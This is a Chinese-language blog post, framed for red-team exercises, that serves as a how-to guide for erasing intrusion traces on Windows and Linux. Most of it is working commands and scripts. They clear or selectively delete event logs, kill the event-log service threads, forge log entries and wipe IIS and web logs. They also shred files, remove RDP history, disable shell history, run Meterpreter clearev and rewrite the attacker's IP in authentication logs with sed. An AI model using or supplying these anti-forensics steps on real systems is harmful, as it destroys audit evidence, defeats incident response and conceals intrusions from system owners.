入侵痕跡清理

yokan發表於2021-12-17

在攻擊結束後,如何不留痕跡的清除日誌和操作記錄,以掩蓋入侵蹤跡,這其實是一個細緻的技術活。在藍隊的溯源中,攻擊者的攻擊路徑都將記錄在日誌中,所遺留的工具也會被藍隊進行分析,在工具中可以查詢特徵,紅隊自研工具更容易留下蛛絲馬跡。你所做的每一個操作,都要被抹掉;你所上傳的工具,都應該被安全地刪掉,以防被溯源在演練中失分。

Windows入侵痕跡清理

Windows日誌清除

Windows日誌路徑:

系統日誌:%SystemRoot%\System32\Winevt\Logs\System.evtx
安全日誌:%SystemRoot%\System32\Winevt\Logs\Security.evtx
應用程式日誌:%SystemRoot%\System32\Winevt\Logs\Application.evtx

日誌在登錄檔的鍵:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog

常見的安全事件ID:

windows 日誌清除方式:

(1)最簡單粗暴的方式

開始→執行,輸入 eventvwr 進入事件檢視器,右邊欄選擇清除日誌。

或者使用wevtutil

wevtutil el             列出系統中所有日誌名稱
for /F "tokens=*" %a in ('wevtutil.exe el') DO wevtutil.exe cl "%a"  清除所有日誌
wevtutil cl system      清理系統日誌
wevtutil cl application 清理應用程式日誌
wevtutil cl security    清理安全日誌

(2)powershell一鍵清除Windows事件日誌

PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
或
Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}

(3)利用指令碼停止日誌的記錄

通過該指令碼遍歷事件日誌服務程式(專用svchost.exe)的執行緒堆疊,並標識事件日誌執行緒以殺死事件日誌服務執行緒。

該指令碼沒有殺死程式,而是殺死了執行緒。因此,雖然事件日誌服務似乎在系統中執行(因為沒有終止程式),但它實際上並沒有執行(因為終止了執行緒)並且系統不收集日誌。

專案地址:hlldz/Phant0m: Windows Event Log Killer (github.com)

使用:

執行phant0m之後,嘗試遠端登入該伺服器,並不會記錄日誌

(4)Windows單條日誌清除

專案地址:QAX-A-Team/EventCleaner: A tool mainly to erase specified records from Windows event logs, with additional functionalities. (github.com)

該工具主要用於從Windows事件日誌中刪除指定的記錄。同時也可以暫停日誌執行緒,停止日誌記錄。

使用步驟:

1、EventCleaner closehandle   #解除 security.evtx的檔案佔坑
2、EventCleaner 100           #刪除 event record id 為 100 的日誌
3、EventCleaner suspend       #暫停日誌執行緒,停止日誌記錄
4、do anything without worrying about logs
5、EventCleaner normal        #恢復日誌執行緒
6、delete EventCleaner        


(5)Windows日誌偽造

使用eventcreate這個命令列工具來偽造日誌或者使用自定義的大量垃圾資訊覆蓋現有日誌。

eventcreate -l system -so administrator -t warning -d "this is a test" -id 500

IIS日誌

IIS預設日誌路徑:

%SystemDrive%\inetpub\logs\LogFiles\W3SVC1\

清除WWW日誌:

停止服務:net stop w3svc
刪除日誌目錄下所有檔案:del *.*
啟用服務:net start w3svc

利用Windows自帶命令進行安全擦除

(1)Shift+Delete快捷鍵永久刪除

直接刪除檔案,還是能在回收站找到的,使用Shift+Delete快捷鍵可以直接永久刪除了。

可以用資料恢復軟體,刪除的檔案儘快恢復,否則新的檔案存入覆蓋了原來的檔案痕跡就很難恢復了。

(2)Cipher 命令多次覆寫

在刪除檔案後,可以利用Cipher 命令通過 /W 引數可反覆寫入其他資料覆蓋已刪除檔案的硬碟空間,徹底刪除資料防止被恢復。

比如,刪除D:\tools目錄下的檔案,然後執行這條命令:

cipher /w:D:\tools

這樣一來,D 盤上未使用空間就會被覆蓋三次:一次 0x00、一次 0xFF,一次隨機數,所有被刪除的檔案就都不可能被恢復了。

(3)Format命令覆蓋格式化

Format 命令加上 /P 引數後,就會把每個扇區先清零,再用隨機數覆蓋。而且可以覆蓋多次。比如:

format D: /P:8

這條命令表示把 D 盤用隨機數覆蓋 8 次。

清除遠端桌面連線記錄

當通過本機遠端連線其他客戶端或伺服器後,會在本機存留遠端桌面連線記錄。程式碼儲存為clear.bat檔案,雙擊執行即可自動化清除遠端桌面連線記錄。

@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\
attrib Default.rdp -s -h
del Default.rdp

Metasploit 痕跡清除

(1)檢視事件日誌

meterpreter > run event_manager  -i   
[*] Retriving Event Log Configuration
Event Logs on System
====================
 Name                    Retention  Maximum Size  Records
 ----                    ---------  ------------  -------
 Application             Disabled   20971520K     2149
 HardwareEvents          Disabled   20971520K     0
 Internet Explorer       Disabled   K             0
 Key Management Service  Disabled   20971520K     0
 Security                Disabled   20971520K     1726
 System                  Disabled   20971520K     3555
 Windows PowerShell      Disabled   15728640K     138

(2)清除事件日誌(包括六種日誌型別)

meterpreter > run event_manager  -c

(3)另外,也可以輸入clearv命令清除目標系統的事件日誌(僅包含三種日誌型別)

meterpreter > clearev 
[*] Wiping 4 records from Application...
[*] Wiping 8 records from System...
[*] Wiping 7 records from Security...

清除recent

在檔案資源管理器中點選“檢視”->“選項”->在常規->隱私中點選”清除”按鈕
或直接開啟C:\Users\Administrator\Recent並刪除所有內容
或在命令列中輸入del /f /s /q “%userprofile%\Recent*.*

Linux入侵痕跡清理

#管理員 $普通使用者 / 表示 根目錄 ~表示當前使用者家目錄

清除history歷史命令記錄

檢視歷史操作命令:

history

history顯示記憶體和~/.bash_history中的所有內容
記憶體中的內容並沒有立刻寫入~/.bash_history,只有噹噹前shell關閉時才會將記憶體內容寫入shell

(1)編輯history記錄檔案,刪除部分不想被儲存的歷史命令。

vim ~/.bash_history

(2)清除當前使用者的history命令記錄⭐

history -c  # 刪除記憶體中的所有命令歷史
history -r  # 刪除當前會話歷史記錄

(3)利用vim特性刪除歷史命令

#使用vim開啟一個檔案vi test.txt# 設定vim不記錄命令,Vim會將命令歷史記錄,儲存在viminfo檔案中。:set history=0# 用vim的分屏功能開啟命令記錄檔案.bash_history,編輯檔案刪除歷史操作命令:vsp ~/.bash_history# 清楚儲存.bash_history檔案即可。

(4)在vim中執行自己不想讓別人看到的命令

:set history=0
:!command

⭐不記錄history歷史命令

(1)通過修改配置檔案/etc/profile,使系統不再儲存命令記錄。

HISTSIZE=0

(2)登入後執行下面命令,不記錄歷史命令(.bash_history)

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

清除系統日誌痕跡

Linux 系統存在多種日誌檔案,來記錄系統執行過程中產生的日誌。

/var/run/utmp 記錄現在登入的使用者,使用w,who,users等命令檢視
/var/log/wtmp 記錄使用者所有的登入和登出,使用last命令檢視
/var/log/lastlog 記錄每一個使用者最後登入時間,使用lastlog命令檢視
/var/log/btmp 記錄所有登入失敗資訊,使用lastb命令檢視
/var/log/auth.log 需要身份確認的操作
/var/log/secure 記錄安全相關的日誌資訊
/var/log/maillog 記錄郵件相關的日誌資訊
/var/log/message 記錄系統啟動後的資訊和錯誤日誌
/var/log/cron 記錄定時任務相關的日誌資訊
/var/log/spooler 記錄UUCP和news裝置相關的日誌資訊
/var/log/boot.log 記錄守護程式啟動和停止相關的日誌訊息

(1)清空日誌檔案

以下幾種方式:

cat /dev/null > filename
echo "" > filename
echo > filename
: > filename
> filename

⭐(2)替換/刪除部分日誌

日誌檔案全部被清空,太容易被管理員察覺了,如果只是刪除或替換部分關鍵日誌資訊,那麼就可以完美隱藏攻擊痕跡。

替換:

# 192.168.100.101為攻擊者IP,10.0.0.55為偽造IP,-i編輯檔案
sed 's/192.168.100.101/10.0.0.55/g' -i /var/log/btmp*
sed 's/192.168.100.101/10.0.0.55/g' -i /var/log/lastlog
sed 's/192.168.100.101/10.0.0.55/g' -i /var/log/wtmp
sed 's/192.168.100.101/10.0.0.55/g' -i secure
sed 's/192.168.100.101/10.0.0.55/g' -i /var/log/utmp

刪除:

# 刪除所有匹配到字串的行,比如以當天日期或者自己的登入ip
sed  -i '/自己的ip/'d  /var/log/messages
sed  -i '/當天日期/'d  filename

一鍵清除history和系統日誌指令碼

#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c

清除web日誌痕跡

web日誌同樣可以使用sed進行偽造,例如apache日誌、MySQL日誌、php日誌

sed 's/192.168.100.101/10.0.0.55/g' –i /var/log/apache/access.log
sed 's/192.168.100.101/10.0.0.55/g' –i /var/log/apache/error_log

sed 's/192.168.100.101/10.0.0.55/g' –i /var/log/mysql/mysql_error.log
sed 's/192.168.100.101/10.0.0.55/g' –i /var/log/mysql/mysql_slow.log

sed 's/192.168.100.101/192.168.1.4/g' –i /var/log/apache/php_error.log

清除部分相關日誌:

# 使用grep -v來把我們的相關資訊刪除
cat /var/log/nginx/access.log | grep -v evil.php > tmp.log
# 把修改過的日誌覆蓋到原日誌檔案
cat tmp.log > /var/log/nginx/access.log/

參考

https://cloud.tencent.com/developer/article/1698537

https://www.freebuf.com/articles/system/266458.html

https://www.cnblogs.com/xiaozi/p/13648156.html

相關文章